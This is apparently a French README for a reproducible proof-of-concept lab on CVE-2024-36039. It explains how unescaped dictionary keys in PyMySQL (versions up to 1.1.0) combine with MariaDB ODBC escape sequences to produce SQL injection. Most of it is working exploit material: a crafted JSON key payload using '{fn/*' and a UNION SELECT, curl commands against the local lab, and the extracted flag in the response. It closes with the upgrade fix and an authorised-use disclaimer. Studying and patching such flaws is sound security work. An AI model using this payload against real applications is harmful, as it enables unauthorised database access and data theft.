
PoC pour CVE-2024-36039 : Démontrant une injection SQL via la faille de sérialisation Objet-à-Chaîne de PyMySQL
Un laboratoire complet et reproductible de Preuve de concept (PoC) pour CVE-2024-36039, démontrant comment une vulnérabilité d'injection d'objets dans PyMySQL (versions <= 1.1.0) peut être escaladée en une injection SQL complète en utilisant les séquences d'échappement ODBC de MariaDB.
CVE-2024-36039 est une vulnérabilité dans PyMySQL, une bibliothèque cliente MySQL pure-Python.
Lorsque des requêtes paramétrées (p. ex., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) reçoivent un dictionnaire Python dont les clés sont des objets personnalisés plutôt que des chaînes standard, PyMySQL utilise la méthode __str__ ou __repr__ de l'objet pour le sérialiser en une chaîne SQL.
Le bug : PyMySQL oublie d'échapper (de mettre entre guillemets simples) la chaîne résultante de la clé objet. Cela entraîne l'injection brute, non citée, de la chaîne dans l'instruction SQL formatée sous forme de dictionnaire : {ChaîneObjetNonCitée: 'ValeurÉchappée'}.
En soi, injecter {CléNonCitée: 'Valeur'} dans une requête MariaDB déclenchera une Erreur de syntaxe 1064 car {} n'est pas une syntaxe SQL standard pour les données.
Cependant, MariaDB/MySQL prend en charge les séquences d'échappement ODBC, qui utilisent les accolades {}. Pour contourner l'erreur de syntaxe, la chaîne juste après { doit être un mot-clé ODBC valide (p. ex., d, t, ts, fn).
fn/* via sa méthode __repr__.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB reconnaît le début d'une fonction scalaire ODBC./*: "'*/ : MariaDB traite cela comme un commentaire bloc. Les deux-points : et le guillemet ouvrant ' générés par PyMySQL sont complètement ignorés ! 1} : Termine la fonction ODBC (renvoie effectivement l'entier 1). UNION SELECT 1, flag, 3 FROM secret : Notre charge utile SQL injectée est exécutée.-- '"} : Le commentaire SQL ignore le reste des caractères superflus ('}).Résultat : Une injection SQL parfaite contournant à la fois la logique applicative et la paramétrisation de PyMySQL !
Clonez ce dépôt et lancez l'environnement :
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(Attendez environ 15 à 20 secondes que le conteneur MariaDB s'initialise complètement).
Envoyez une requête JSON standard. Le backend transformera la clé JSON en un objet CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
Réponse : Vous obtiendrez une erreur de syntaxe SQL indiquant que {yamato: "'Any_value'"} est du SQL invalide, confirmant le point d'injection.
Injectez la charge utile de séquence d'échappement ODBC pour contourner l'erreur de syntaxe et extraire le flag caché de la table secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
Réponse (PWNED !) :
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
Pour corriger cette vulnérabilité, mettez à jour PyMySQL vers la version 1.1.1 ou ultérieure.
Dans les versions corrigées, les développeurs s'assurent que toutes les clés de dictionnaire, quel que soit leur type, sont correctement échappées et citées avant d'être insérées dans l'instruction SQL.
pip install --upgrade PyMySQL
Avertissement : Ce dépôt est créé uniquement à des fins éducatives et de recherche. N'utilisez pas ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
© 2026 par zenniskayy. Construit pour un internet plus sûr.